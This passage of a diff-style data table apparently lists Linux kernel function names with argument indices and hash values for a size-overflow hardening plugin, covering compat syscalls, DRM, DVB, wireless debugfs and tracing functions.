_002962_hash NULL ++_002963_hash vmemmap_alloc_block_buf 1 61126 _002963_hash NULL ++_002964_hash alloc_mr 1 45935 _002964_hash NULL ++_002965_hash atomic_counters_read 3 48827 _002965_hash NULL ++_002966_hash atomic_stats_read 3 36228 _002966_hash NULL ++_002967_hash capabilities_read 3 58457 _002967_hash NULL ++_002968_hash compat_core_sys_select 1 65285 _002968_hash NULL ++_002969_hash compat_dccp_setsockopt 5 51263 _002969_hash NULL ++_002970_hash compat_do_arpt_set_ctl 4 12184 _002970_hash NULL ++_002971_hash compat_do_ip6t_set_ctl 4 3184 _002971_hash NULL ++_002972_hash compat_do_ipt_set_ctl 4 58466 _002972_hash &_002078_hash ++_002973_hash compat_filldir 3 32999 _002973_hash NULL ++_002974_hash compat_filldir64 3 35354 _002974_hash NULL ++_002975_hash compat_fillonedir 3 15620 _002975_hash NULL ++_002976_hash compat_ip_setsockopt 5 13870 _003094_hash NULL nohasharray ++_002977_hash compat_ipv6_setsockopt 5 20468 _002977_hash NULL ++_002978_hash compat_mpctl_ioctl 2 45671 _002978_hash NULL ++_002979_hash compat_raw_setsockopt 5 30634 _002979_hash NULL ++_002980_hash compat_rawv6_setsockopt 5 4967 _002980_hash NULL ++_002981_hash compat_rw_copy_check_uvector 3 22001 _003263_hash NULL nohasharray ++_002982_hash compat_sock_setsockopt 5 23 _002982_hash NULL ++_002983_hash compat_sys_get_mempolicy 3 31109 _002983_hash NULL ++_002984_hash compat_sys_kexec_load 2 35674 _002984_hash NULL ++_002985_hash compat_sys_keyctl 4 9639 _002985_hash NULL ++_002986_hash compat_sys_mbind 5 36256 _002986_hash NULL ++_002987_hash compat_sys_migrate_pages 2 3157 _002987_hash NULL ++_002988_hash compat_sys_move_pages 2 5861 _002988_hash NULL ++_002989_hash compat_sys_mq_timedsend 3 31060 _002989_hash NULL ++_002990_hash compat_sys_msgrcv 2 7482 _002990_hash NULL ++_002991_hash compat_sys_msgsnd 2 10738 _002991_hash NULL ++_002992_hash compat_sys_semtimedop 3 3606 _002992_hash NULL ++_002993_hash compat_sys_set_mempolicy 3 57742 _002993_hash &_002614_hash ++_002994_hash __copy_in_user 3 34790 _002994_hash NULL ++_002995_hash dev_counters_read 3 19216 _002995_hash NULL ++_002996_hash dev_names_read 3 38509 _002996_hash NULL ++_002997_hash driver_names_read 3 60399 _002997_hash NULL ++_002998_hash driver_stats_read 3 8944 _002998_hash NULL ++_002999_hash evdev_ioctl_compat 2 13851 _002999_hash NULL ++_003000_hash evtchn_read 3 3569 _003000_hash NULL ++_003001_hash evtchn_write 3 43278 _003001_hash NULL ++_003002_hash fat_compat_ioctl_filldir 3 36328 _003002_hash NULL ++_003003_hash flash_read 3 57843 _003003_hash NULL ++_003004_hash flash_write 3 62354 _003004_hash NULL ++_003005_hash fw_device_op_compat_ioctl 2 42804 _003005_hash NULL ++_003006_hash gather_array 3 56641 _003006_hash NULL ++_003007_hash ghash_async_setkey 3 60001 _003007_hash NULL ++_003008_hash gntdev_alloc_map 2 35145 _003008_hash NULL ++_003009_hash gnttab_map 2 56439 _003009_hash NULL ++_003010_hash gru_alloc_gts 2-3 60056 _003010_hash &_000981_hash ++_003012_hash hiddev_compat_ioctl 2 41255 _003012_hash NULL ++_003013_hash init_cdev 1 8274 _003013_hash NULL ++_003014_hash init_per_cpu 1 17880 _003014_hash NULL ++_003015_hash ipath_create_cq 2 45586 _003015_hash NULL ++_003016_hash ipath_get_base_info 3 7043 _003016_hash NULL ++_003017_hash ipath_init_qp_table 2 25167 _003017_hash NULL ++_003018_hash ipath_resize_cq 2 712 _003018_hash NULL ++_003019_hash joydev_compat_ioctl 2 8765 _003019_hash NULL ++_003020_hash mon_bin_compat_ioctl 3 50234 _003020_hash NULL ++_003021_hash options_write 3 47243 _003021_hash NULL ++_003022_hash portcntrs_1_read 3 47253 _003022_hash NULL ++_003023_hash portcntrs_2_read 3 56586 _003023_hash NULL ++_003024_hash portnames_read 3 41958 _003024_hash NULL ++_003025_hash ptc_proc_write 3 12076 _003025_hash NULL ++_003026_hash put_cmsg_compat 4 35937 _003026_hash NULL ++_003027_hash qib_alloc_devdata 2 51819 _003027_hash NULL ++_003028_hash qib_alloc_fast_reg_page_list 2 10507 _003028_hash NULL ++_003029_hash qib_cdev_init 1 34778 _003029_hash NULL ++_003030_hash qib_create_cq 2 27497 _003030_hash NULL ++_003031_hash qib_diag_write 3 62133 _003031_hash NULL ++_003032_hash qib_get_base_info 3 11369 _003032_hash NULL ++_003033_hash qib_resize_cq 2 53090 _003033_hash NULL ++_003034_hash qsfp_1_read 3 21915 _003034_hash NULL ++_003035_hash qsfp_2_read 3 31491 _003035_hash NULL ++_003036_hash queue_reply 3 22416 _003036_hash NULL ++_003037_hash spidev_compat_ioctl 2 63778 _003037_hash NULL ++_003038_hash split 2 11691 _003038_hash NULL ++_003039_hash stats_read_ul 3 32751 _003039_hash NULL ++_003040_hash sys32_ipc 3 7238 _003040_hash NULL ++_003041_hash sys32_rt_sigpending 2 25814 _003041_hash NULL ++_003042_hash tunables_read 3 36385 _003042_hash NULL ++_003043_hash tunables_write 3 59563 _003043_hash NULL ++_003044_hash xenbus_file_write 3 6282 _003044_hash NULL ++_003045_hash xlbd_reserve_minors 1-2 18365 _003045_hash NULL ++_003047_hash xpc_kmalloc_cacheline_aligned 1 42895 _003047_hash NULL ++_003048_hash xpc_kzalloc_cacheline_aligned 1 65433 _003048_hash NULL ++_003049_hash xsd_read 3 15653 _003049_hash NULL ++_003050_hash compat_do_readv_writev 4 49102 _003050_hash NULL ++_003051_hash compat_keyctl_instantiate_key_iov 3 57431 _003088_hash NULL nohasharray ++_003052_hash compat_process_vm_rw 3-5 22254 _003052_hash NULL ++_003054_hash compat_sys_select 1 16131 _003054_hash NULL ++_003055_hash compat_sys_setsockopt 5 3326 _003055_hash NULL ++_003056_hash compat_udp_setsockopt 5 38840 _003056_hash NULL ++_003057_hash compat_udpv6_setsockopt 5 42981 _003057_hash NULL ++_003058_hash do_compat_pselect 1 10398 _003058_hash NULL ++_003059_hash gnttab_expand 1 15817 _003059_hash NULL ++_003060_hash ipath_cdev_init 1 37752 _003060_hash NULL ++_003061_hash ipath_reg_phys_mr 3 23918 _003061_hash &_000999_hash ++_003062_hash qib_alloc_fast_reg_mr 2 12526 _003062_hash NULL ++_003063_hash qib_reg_phys_mr 3 60202 _003063_hash &_000897_hash ++_003064_hash compat_readv 3 30273 _003064_hash NULL ++_003065_hash compat_sys_process_vm_readv 3-5 15374 _003065_hash NULL ++_003067_hash compat_sys_process_vm_writev 3-5 41194 _003067_hash NULL ++_003069_hash compat_sys_pselect6 1 14105 _003069_hash NULL ++_003070_hash compat_writev 3 60063 _003070_hash NULL ++_003071_hash get_free_entries 1 46030 _003071_hash NULL ++_003072_hash compat_sys_preadv64 3 24283 _003072_hash NULL ++_003073_hash compat_sys_pwritev64 3 51151 _003073_hash NULL ++_003074_hash compat_sys_readv 3 20911 _003074_hash NULL ++_003075_hash compat_sys_writev 3 5784 _003075_hash NULL ++_003076_hash gnttab_alloc_grant_references 1 18240 _003076_hash NULL ++_003077_hash compat_sys_preadv 3 583 _003077_hash NULL ++_003078_hash compat_sys_pwritev 3 17886 _003078_hash NULL ++_003079_hash aes_decrypt_fail_read 3 54815 _003079_hash NULL ++_003080_hash aes_decrypt_interrupt_read 3 19910 _003080_hash NULL ++_003081_hash aes_decrypt_packets_read 3 10155 _003081_hash NULL ++_003082_hash aes_encrypt_fail_read 3 32562 _003082_hash NULL ++_003083_hash aes_encrypt_interrupt_read 3 39919 _003083_hash NULL ++_003084_hash aes_encrypt_packets_read 3 48666 _003084_hash NULL ++_003085_hash agp_remap 2 30665 _003085_hash NULL ++_003086_hash alloc_apertures 1 56561 _003086_hash NULL ++_003087_hash allocate_probes 1 40204 _003087_hash NULL ++_003088_hash alloc_ftrace_hash 1 57431 _003088_hash &_003051_hash ++_003089_hash alloc_page_cgroup 1 2919 _003089_hash NULL ++_003090_hash __alloc_preds 2 9492 _003090_hash NULL ++_003091_hash __alloc_pred_stack 2 26687 _003091_hash NULL ++_003092_hash alloc_sched_domains 1 47756 _003092_hash NULL ++_003093_hash alloc_trace_probe 6 38720 _003093_hash NULL ++_003094_hash alloc_trace_uprobe 3 13870 _003094_hash &_002976_hash ++_003095_hash ath6kl_sdio_alloc_prep_scat_req 2 51986 _003095_hash NULL ++_003096_hash ath6kl_usb_post_recv_transfers 2 32892 _003096_hash NULL ++_003097_hash ath6kl_usb_submit_ctrl_in 6 32880 _003097_hash &_000795_hash ++_003098_hash ath6kl_usb_submit_ctrl_out 6 9978 _003098_hash NULL ++_003099_hash av7110_ipack_init 2 46655 _003099_hash NULL ++_003100_hash av7110_vbi_write 3 34384 _003100_hash NULL ++_003101_hash bin_uuid 3 28999 _003101_hash NULL ++_003102_hash blk_dropped_read 3 4168 _003102_hash NULL ++_003103_hash blk_msg_write 3 13655 _003103_hash NULL ++_003104_hash brcmf_usbdev_qinit 2 19090 _003104_hash &_001715_hash ++_003105_hash brcmf_usb_dl_cmd 4 53130 _003105_hash NULL ++_003106_hash ci_ll_init 3 12930 _003106_hash NULL ++_003107_hash ci_ll_write 4 3740 _003107_hash NULL ++_003108_hash conf_read 3 55786 _003108_hash NULL ++_003109_hash __copy_from_user_inatomic_nocache 3 49921 _003109_hash NULL ++_003110_hash cx24116_writeregN 4 41975 _003110_hash NULL ++_003111_hash cyttsp_probe 4 1940 _003111_hash NULL ++_003112_hash dccpprobe_read 3 52549 _003112_hash NULL ++_003113_hash ddb_input_read 3 9743 _003113_hash NULL ++_003114_hash ddb_output_write 3 31902 _003114_hash NULL ++_003115_hash __devres_alloc 2 25598 _003115_hash NULL ++_003116_hash dma_rx_errors_read 3 52045 _003116_hash NULL ++_003117_hash dma_rx_requested_read 3 65354 _003117_hash NULL ++_003118_hash dma_tx_errors_read 3 46060 _003118_hash NULL ++_003119_hash dma_tx_requested_read 3 16110 _003203_hash NULL nohasharray ++_003120_hash do_dmabuf_dirty_sou 7 3017 _003120_hash NULL ++_003121_hash do_surface_dirty_sou 7 39678 _003121_hash NULL ++_003122_hash driver_state_read 3 17194 _003122_hash &_001511_hash ++_003123_hash drm_agp_bind_pages 3 56748 _003123_hash NULL ++_003124_hash drm_buffer_alloc 2 44405 _003124_hash NULL ++_003125_hash drm_calloc_large 1-2 65421 _003125_hash NULL ++_003127_hash drm_fb_helper_init 3-4 19044 _003127_hash NULL ++_003129_hash drm_ht_create 2 18853 _003129_hash NULL ++_003130_hash drm_ioctl 2 42813 _003130_hash NULL ++_003131_hash drm_malloc_ab 1-2 16831 _003131_hash NULL ++_003133_hash drm_mode_crtc_set_gamma_size 2 31881 _003133_hash NULL ++_003134_hash drm_plane_init 6 28731 _003134_hash NULL ++_003135_hash drm_property_create 4 51239 _003135_hash NULL ++_003136_hash drm_property_create_blob 2 7414 _003136_hash NULL ++_003137_hash drm_vblank_init 2 11362 _003137_hash NULL ++_003138_hash drm_vmalloc_dma 1 14550 _003138_hash NULL ++_003139_hash dvb_aplay 3 56296 _003139_hash NULL ++_003140_hash dvb_ca_en50221_init 4 45718 _003140_hash NULL ++_003141_hash dvb_ca_en50221_io_write 3 43533 _003141_hash NULL ++_003142_hash dvb_dmxdev_set_buffer_size 2 55643 _003142_hash NULL ++_003143_hash dvbdmx_write 3 19423 _003143_hash NULL ++_003144_hash dvb_dvr_set_buffer_size 2 9840 _003144_hash NULL ++_003145_hash dvb_net_sec 3 37884 _003145_hash NULL ++_003146_hash dvb_play 3 50814 _003146_hash NULL ++_003147_hash dvb_ringbuffer_pkt_read_user 2-5-3 4303 _003147_hash NULL ++_003150_hash dvb_ringbuffer_read_user 3 56702 _003150_hash NULL ++_003151_hash dvb_usercopy 2 14036 _003151_hash NULL ++_003152_hash dw210x_op_rw 6 39915 _003152_hash NULL ++_003153_hash edt_ft5x06_debugfs_raw_data_read 3 28002 _003153_hash NULL ++_003154_hash em_canid_change 3 14150 _003154_hash NULL ++_003155_hash event_calibration_read 3 21083 _003155_hash NULL ++_003156_hash event_enable_read 3 7074 _003156_hash NULL ++_003157_hash event_filter_read 3 23494 _003157_hash NULL ++_003158_hash event_filter_write 3 56609 _003158_hash NULL ++_003159_hash event_heart_beat_read 3 48961 _003159_hash NULL ++_003160_hash event_id_read 3 64288 _003160_hash &_001300_hash ++_003161_hash event_oom_late_read 3 61175 _003161_hash &_001054_hash ++_003162_hash event_phy_transmit_error_read 3 10471 _003162_hash NULL ++_003163_hash event_rx_mem_empty_read 3 40363 _003163_hash NULL ++_003164_hash event_rx_mismatch_read 3 38518 _003164_hash NULL ++_003165_hash event_rx_pool_read 3 25792 _003165_hash NULL ++_003166_hash event_tx_stuck_read 3 19305 _003166_hash NULL ++_003167_hash excessive_retries_read 3 60425 _003167_hash NULL ++_003168_hash flexcop_device_kmalloc 1 54793 _003168_hash NULL ++_003169_hash fm_send_cmd 5 39639 _003169_hash NULL ++_003170_hash __fprog_create 2 41263 _003170_hash NULL ++_003171_hash fq_codel_zalloc 1 15378 _003171_hash NULL ++_003172_hash ftrace_pid_write 3 39710 _003172_hash NULL ++_003173_hash ftrace_profile_read 3 21327 _003173_hash NULL ++_003174_hash fw_stats_raw_read 3 1369 _003174_hash NULL ++_003175_hash get_info 3 55681 _003175_hash NULL ++_003176_hash __get_vm_area_node 1 55305 _003176_hash NULL ++_003177_hash gpio_power_read 3 36059 _003177_hash NULL ++_003178_hash h5_prepare_pkt 4 12085 _003178_hash NULL ++_003179_hash hsc_msg_alloc 1 60990 _003179_hash NULL ++_003180_hash hsc_write 3 55875 _003180_hash NULL ++_003181_hash hsi_alloc_controller 1 41802 _003181_hash NULL ++_003182_hash hsi_register_board_info 2 13820 _003182_hash NULL ++_003183_hash hugetlb_cgroup_read 5 49259 _003183_hash NULL ++_003184_hash i915_cache_sharing_read 3 24775 _003184_hash NULL ++_003185_hash i915_cache_sharing_write 3 57961 _003185_hash NULL ++_003186_hash i915_max_freq_read 3 20581 _003186_hash NULL ++_003187_hash i915_max_freq_write 3 11350 _003187_hash NULL ++_003188_hash i915_min_freq_read 3 38470 _003188_hash NULL ++_003189_hash i915_min_freq_write 3 10981 _003189_hash NULL ++_003190_hash i915_ring_stop_read 3 42549 _003190_hash &_000740_hash ++_003191_hash i915_ring_stop_write 3 59010 _003191_hash NULL ++_003192_hash i915_wedged_read 3 35474 _003192_hash NULL ++_003193_hash i915_wedged_write 3 47771 _003193_hash NULL ++_003194_hash ieee802154_alloc_device 1 13767 _003194_hash NULL ++_003195_hash intel_sdvo_write_cmd 4 54377 _003195_hash &_000832_hash ++_003196_hash isr_cmd_cmplt_read 3 53439 _003196_hash NULL ++_003197_hash isr_commands_read 3 41398 _003197_hash NULL ++_003198_hash isr_decrypt_done_read 3 49490 _003198_hash NULL ++_003199_hash isr_dma0_done_read 3 8574 _003199_hash NULL ++_003200_hash isr_dma1_done_read 3 48159 _003200_hash NULL ++_003201_hash isr_fiqs_read 3 34687 _003201_hash NULL ++_003202_hash isr_host_acknowledges_read 3 54136 _003202_hash NULL ++_003203_hash isr_hw_pm_mode_changes_read 3 16110 _003203_hash &_003119_hash ++_003204_hash isr_irqs_read 3 9181 _003204_hash NULL ++_003205_hash isr_low_rssi_read 3 64789 _003205_hash NULL ++_003206_hash isr_pci_pm_read 3 30271 _003206_hash NULL ++_003207_hash isr_rx_headers_read 3 38325 _003207_hash NULL ++_003208_hash isr_rx_mem_overflow_read 3 43025 _003208_hash NULL ++_003209_hash isr_rx_procs_read 3 31804 _003209_hash NULL ++_003210_hash isr_rx_rdys_read 3 35283 _003210_hash NULL ++_003211_hash isr_tx_exch_complete_read 3 16103 _003211_hash NULL ++_003212_hash isr_tx_procs_read 3 23084 _003212_hash NULL ++_003213_hash isr_wakeups_read 3 49607 _003213_hash NULL ++_003214_hash LoadBitmap 2 19658 _003214_hash NULL ++_003215_hash mem_cgroup_read 5 22461 _003215_hash NULL ++_003216_hash mic_calc_failure_read 3 59700 _003216_hash NULL ++_003217_hash mic_rx_pkts_read 3 27972 _003217_hash NULL ++_003218_hash __module_alloc 1 50004 _003218_hash NULL ++_003219_hash module_alloc_update_bounds_rw 1 63233 _003219_hash NULL ++_003220_hash module_alloc_update_bounds_rx 1 58634 _003220_hash NULL ++_003221_hash mwifiex_usb_submit_rx_urb 2 54558 _003221_hash NULL ++_003222_hash nfc_hci_hcp_message_tx 6 14534 _003222_hash NULL ++_003223_hash nfc_hci_set_param 5 40697 _003223_hash NULL ++_003224_hash nfc_shdlc_alloc_skb 2 12741 _003224_hash NULL ++_003225_hash opera1_xilinx_rw 5 31453 _003225_hash NULL ++_003226_hash persistent_ram_vmap 1-2 709 _003226_hash NULL ++_003228_hash prctl_set_mm 3 64538 _003228_hash NULL ++_003229_hash probe_kernel_write 3 17481 _003229_hash NULL ++_003230_hash proc_fault_inject_read 3 36802 _003230_hash NULL ++_003231_hash proc_fault_inject_write 3 21058 _003231_hash NULL ++_003232_hash ps_pspoll_max_apturn_read 3 6699 _003232_hash NULL ++_003233_hash ps_pspoll_timeouts_read 3 11776 _003233_hash NULL ++_003234_hash ps_pspoll_utilization_read 3 5361 _003234_hash NULL ++_003235_hash ps_upsd_max_apturn_read 3 19918 _003235_hash NULL ++_003236_hash ps_upsd_max_sptime_read 3 63362 _003236_hash NULL ++_003237_hash ps_upsd_timeouts_read 3 28924 _003237_hash NULL ++_003238_hash ps_upsd_utilization_read 3 51669 _003238_hash NULL ++_003239_hash ptp_filter_init 2 36780 _003239_hash NULL ++_003240_hash pwr_disable_ps_read 3 13176 _003240_hash NULL ++_003241_hash pwr_elp_enter_read 3 5324 _003241_hash NULL ++_003242_hash pwr_enable_ps_read 3 17686 _003242_hash NULL ++_003243_hash pwr_fix_tsf_ps_read 3 26627 _003243_hash NULL ++_003244_hash pwr_missing_bcns_read 3 25824 _003244_hash NULL ++_003245_hash pwr_power_save_off_read 3 18355 _003245_hash NULL ++_003246_hash pwr_ps_enter_read 3 26935 _003246_hash &_000512_hash ++_003247_hash pwr_rcvd_awake_beacons_read 3 50505 _003247_hash NULL ++_003248_hash pwr_rcvd_beacons_read 3 52836 _003248_hash NULL ++_003249_hash pwr_tx_without_ps_read 3 48423 _003249_hash NULL ++_003250_hash pwr_tx_with_ps_read 3 60851 _003250_hash NULL ++_003251_hash pwr_wake_on_host_read 3 26321 _003251_hash NULL ++_003252_hash pwr_wake_on_timer_exp_read 3 22640 _003252_hash NULL ++_003253_hash rb_simple_read 3 45972 _003253_hash NULL ++_003254_hash read_file_dfs 3 43145 _003254_hash NULL ++_003255_hash retry_count_read 3 52129 _003255_hash NULL ++_003256_hash rx_dropped_read 3 44799 _003256_hash NULL ++_003257_hash rx_fcs_err_read 3 62844 _003257_hash NULL ++_003258_hash rx_hdr_overflow_read 3 64407 _003258_hash NULL ++_003259_hash rx_hw_stuck_read 3 57179 _003259_hash NULL ++_003260_hash rx_out_of_mem_read 3 10157 _003260_hash NULL ++_003261_hash rx_path_reset_read 3 23801 _003261_hash NULL ++_003262_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _003262_hash NULL ++_003263_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003263_hash &_002981_hash ++_003264_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _003264_hash NULL ++_003265_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _003265_hash NULL ++_003266_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _003266_hash NULL ++_003267_hash rx_reset_counter_read 3 58001 _003267_hash NULL ++_003268_hash rx_xfr_hint_trig_read 3 40283 _003268_hash NULL ++_003269_hash saa7146_vmalloc_build_pgtable 2 19780 _003269_hash NULL ++_003270_hash sched_feat_write 3 55202 _003270_hash NULL ++_003271_hash sd_alloc_ctl_entry 1 29708 _003271_hash NULL ++_003272_hash shmem_pread_fast 3 34147 _003272_hash NULL ++_003273_hash shmem_pread_slow 3 3198 _003273_hash NULL ++_003274_hash shmem_pwrite_slow 3 31741 _003274_hash NULL ++_003275_hash show_header 3 4722 _003275_hash &_000745_hash ++_003276_hash stack_max_size_read 3 1445 _003276_hash NULL ++_003277_hash subsystem_filter_read 3 62310 _003277_hash NULL ++_003278_hash subsystem_filter_write 3 13022 _003278_hash NULL ++_003279_hash swap_cgroup_swapon 2 13614 _003279_hash NULL ++_003280_hash system_enable_read 3 25815 _003280_hash NULL ++_003281_hash tda10048_writeregbulk 4 11050 _003281_hash NULL ++_003282_hash tlbflush_read_file 3 64661 _003282_hash NULL ++_003283_hash trace_options_core_read 3 47390 _003283_hash NULL ++_003284_hash trace_options_read 3 11419 _003284_hash NULL ++_003285_hash trace_parser_get_init 2 31379 _003285_hash NULL ++_003286_hash traceprobe_probes_write 3 64969 _003286_hash NULL ++_003287_hash trace_seq_to_user 3 65398 _003287_hash NULL ++_003288_hash tracing_buffers_read 3 11124 _003288_hash NULL ++_003289_hash tracing_clock_write 3 27961 _003289_hash NULL ++_003290_hash tracing_cpumask_read 3 7010 _003290_hash NULL ++_003291_hash tracing_ctrl_read 3 46922 _003291_hash NULL ++_003292_hash tracing_entries_read 3 8345 _003292_hash NULL ++_003293_hash tracing_max_lat_read 3 8890 _003293_hash NULL ++_003294_hash tracing_read_dyn_info 3 45468 _003294_hash NULL ++_003295_hash tracing_readme_read 3 16493 _003295_hash NULL ++_003296_hash tracing_saved_cmdlines_read 3 21434 _003296_hash NULL ++_003297_hash tracing_set_trace_read 3 44122 _003297_hash NULL ++_003298_hash tracing_set_trace_write 3 57096 _003298_hash NULL ++_003299_hash tracing_stats_read 3 34537 _003299_hash NULL ++_003300_hash tracing_total_entries_read 3 62817 _003300_hash NULL ++_003301_hash tracing_trace_options_write 3 153 _003301_hash NULL ++_003302_hash tstats_write 3 60432 _003302_hash &_000009_hash ++_003303_hash ttm_bo_fbdev_io 4 9805 _003303_hash NULL ++_003304_hash ttm_bo_io 5 47000 _003304_hash NULL ++_003305_hash ttm_dma_page_pool_free 2 34135 _003305_hash NULL ++_003306_hash ttm_page_pool_free 2 61661 _003306_hash NULL ++_003307_hash ttusb2_msg 4 3100 _003307_hash NULL ++_003308_hash tx_internal_desc_overflow_read 3 47300 _003308_hash NULL ++_003309_hash tx_queue_len_read 3 1463 _003309_hash NULL ++_003310_hash tx_queue_status_read 3 44978 _003310_hash NULL ++_003311_hash u_memcpya 2-3 30139 _003311_hash NULL ++_003313_hash usb_allocate_stream_buffers 3 8964 _003313_hash NULL ++_003314_hash vifs_state_read 3 33762 _003314_hash NULL ++_003315_hash vmalloc_to_sg 2 58354 _003315_hash NULL ++_003316_hash vm_map_ram 2 23078 _003316_hash &_001095_hash ++_003317_hash vmw_execbuf_process 5 22885 _003317_hash NULL ++_003318_hash vmw_fifo_reserve 2 12141 _003318_hash NULL ++_003319_hash vmw_kms_present 9 38130 _003319_hash NULL ++_003320_hash vmw_kms_readback 6 5727 _003320_hash NULL ++_003321_hash wep_addr_key_count_read 3 20174 _003321_hash NULL ++_003322_hash wep_decrypt_fail_read 3 58567 _003322_hash NULL ++_003323_hash wep_default_key_count_read 3 43035 _003323_hash NULL ++_003324_hash wep_interrupt_read 3 41492 _003324_hash NULL ++_003325_hash wep_key_not_found_read 3 13377 _003325_hash &_000952_hash ++_003326_hash wep_packets_read 3 18751 _003326_hash NULL ++_003327_hash wl1251_cmd_template_set 4 6172 _003327_hash NULL ++_003328_hash wl1271_format_buffer 2 20834 _003328_hash NULL ++_003329_hash wl1271_rx_filter_alloc_field 5 46721 _003329_hash NULL ++_003330_hash wl12xx_cmd_build_probe_req 6-8 54946 _003330_hash NULL ++_003332_hash wlcore_alloc_hw 1 7785 _003332_hash NULL ++_003333_hash aggr_size_rx_size_read 3 33526 _003333_hash NULL ++_003334_hash aggr_size_tx_agg_vs_rate_read 3 21438 _003334_hash NULL ++_003335_hash alloc_and_copy_ftrace_hash 1 29368 _003335_hash NULL ++_003336_hash alloc_bulk_urbs_generic 5 12127 _003336_hash NULL ++_003337_hash alloc_ieee80211 1 20063 _003337_hash NULL ++_003338_hash alloc_ieee80211_rsl 1 34564 _003338_hash NULL ++_003339_hash alloc_perm_bits 2 1532 _003339_hash NULL ++_003340_hash alloc_private 2 22399 _003340_hash NULL ++_003341_hash alloc_rtllib 1 51136 _003341_hash NULL ++_003342_hash alloc_rx_desc_ring 2 18016 _003342_hash NULL ++_003343_hash arcfb_write 3 8702 _003343_hash NULL ++_003344_hash ath6kl_usb_bmi_read 3 48745 _003344_hash NULL ++_003345_hash ath6kl_usb_bmi_write 3 2454 _003345_hash &_001020_hash ++_003346_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003346_hash NULL ++_003347_hash au0828_init_isoc 2-3 61917 _003347_hash NULL ++_003349_hash auok190xfb_write 3 37001 _003349_hash NULL ++_003350_hash beacon_interval_read 3 7091 _003350_hash NULL ++_003351_hash brcmf_usb_attach 1-2 44656 _003351_hash NULL ++_003353_hash broadsheetfb_write 3 39976 _003353_hash NULL ++_003354_hash broadsheet_spiflash_rewrite_sector 2 54864 _003354_hash NULL ++_003355_hash ci13xxx_add_device 3 14456 _003355_hash NULL ++_003356_hash cmpk_message_handle_tx 4 54024 _003356_hash NULL ++_003357_hash comedi_alloc_subdevices 2 29207 _003357_hash NULL ++_003358_hash comedi_buf_alloc 3 24822 _003358_hash NULL ++_003359_hash comedi_read 3 13199 _003359_hash NULL ++_003360_hash comedi_write 3 47926 _003360_hash NULL ++_003361_hash create_trace_probe 1 20175 _003361_hash NULL ++_003362_hash create_trace_uprobe 1 13184 _003362_hash NULL ++_003363_hash cx18_copy_buf_to_user 4 22735 _003363_hash NULL ++_003364_hash cx231xx_init_bulk 2-3 47024 _003364_hash NULL ++_003366_hash cx231xx_init_isoc 2-3 56453 _003366_hash NULL ++_003368_hash cx231xx_init_vbi_isoc 2-3 28053 _003368_hash NULL ++_003370_hash da9052_group_write 3 4534 _003370_hash NULL ++_003371_hash debug_debug1_read 3 8856 _003371_hash NULL ++_003372_hash debug_debug2_read 3 30526 _003372_hash NULL ++_003373_hash debug_debug3_read 3 56894 _003373_hash NULL ++_003374_hash debug_debug4_read 3 61367 _003374_hash NULL ++_003375_hash debug_debug5_read 3 2291 _003375_hash NULL ++_003376_hash debug_debug6_read 3 33168 _003376_hash NULL ++_003377_hash dev_read 3 56369 _003377_hash NULL ++_003378_hash do_dmabuf_dirty_ldu 6 52241 _003378_hash NULL ++_003379_hash drm_compat_ioctl 2 51717 _003379_hash NULL ++_003380_hash drm_mode_create_tv_properties 2 23122 _003380_hash NULL ++_003381_hash drm_property_create_bitmask 5 30195 _003381_hash NULL ++_003382_hash drm_property_create_enum 5 29201 _003382_hash NULL ++_003383_hash dsp_buffer_alloc 2 11684 _003383_hash NULL ++_003384_hash dt3155_alloc_coherent 2 58073 _003384_hash NULL ++_003385_hash dtim_interval_read 3 654 _003385_hash NULL ++_003386_hash dvb_audio_write 3 51275 _003386_hash NULL ++_003387_hash dvb_ca_en50221_io_ioctl 2 26490 _003387_hash NULL ++_003388_hash dvb_ca_write 3 41171 _003388_hash NULL ++_003389_hash dvb_demux_ioctl 2 42733 _003389_hash NULL ++_003390_hash dvb_dmxdev_buffer_read 4 20682 _003390_hash NULL ++_003391_hash dvb_dvr_ioctl 2 49182 _003391_hash NULL ++_003392_hash dvb_generic_ioctl 2 21810 _003392_hash NULL ++_003393_hash dvb_net_ioctl 2 61559 _003393_hash NULL ++_003394_hash dvb_net_sec_callback 2 28786 _003394_hash NULL ++_003396_hash dvb_video_write 3 754 _003396_hash NULL ++_003397_hash dynamic_ps_timeout_read 3 10110 _003397_hash NULL ++_003398_hash easycap_alsa_vmalloc 2 14426 _003398_hash NULL ++_003399_hash em28xx_alloc_isoc 4 46892 _003399_hash NULL ++_003400_hash error_error_bar_retry_read 3 64305 _003400_hash NULL ++_003401_hash error_error_frame_cts_nul_flid_read 3 17262 _003401_hash NULL ++_003402_hash error_error_frame_read 3 39947 _003402_hash &_002436_hash ++_003403_hash error_error_null_Frame_tx_start_read 3 55024 _003403_hash NULL ++_003404_hash error_error_numll_frame_cts_start_read 3 47781 _003404_hash NULL ++_003405_hash ext_sd_execute_read_data 9 48589 _003405_hash NULL ++_003406_hash ext_sd_execute_write_data 9 8175 _003406_hash NULL ++_003407_hash fast_user_write 5 20494 _003407_hash NULL ++_003408_hash f_audio_buffer_alloc 1 41110 _003408_hash NULL ++_003409_hash fb_alloc_cmap_gfp 2 20792 _003409_hash NULL ++_003410_hash fbcon_do_set_font 2-3 4079 _003410_hash NULL ++_003412_hash fb_read 3 33506 _003412_hash NULL ++_003413_hash fb_sys_read 3 13778 _003413_hash NULL ++_003414_hash fb_sys_write 3 33130 _003414_hash NULL ++_003415_hash fb_write 3 46924 _003415_hash NULL ++_003416_hash firmwareUpload 3 32794 _003416_hash NULL ++_003417_hash fmc_send_cmd 5 20435 _003417_hash NULL ++_003418_hash fops_read 3 40672 _003418_hash NULL ++_003419_hash forced_ps_read 3 31685 _003419_hash NULL ++_003420_hash frame_alloc 4 15981 _003420_hash NULL ++_003421_hash framebuffer_alloc 1 59145 _003421_hash NULL ++_003422_hash ftrace_write 3 29551 _003422_hash NULL ++_003423_hash fw_download_code 3 13249 _003423_hash NULL ++_003424_hash fwSendNullPacket 2 54618 _003424_hash NULL ++_003425_hash gdm_wimax_netif_rx 3 43423 _003425_hash &_001810_hash ++_003426_hash get_vm_area 1 18080 _003426_hash NULL ++_003427_hash __get_vm_area 1 61599 _003427_hash NULL ++_003428_hash get_vm_area_caller 1 10527 _003428_hash NULL ++_003429_hash __get_vm_area_caller 1 56416 _003828_hash NULL nohasharray ++_003430_hash 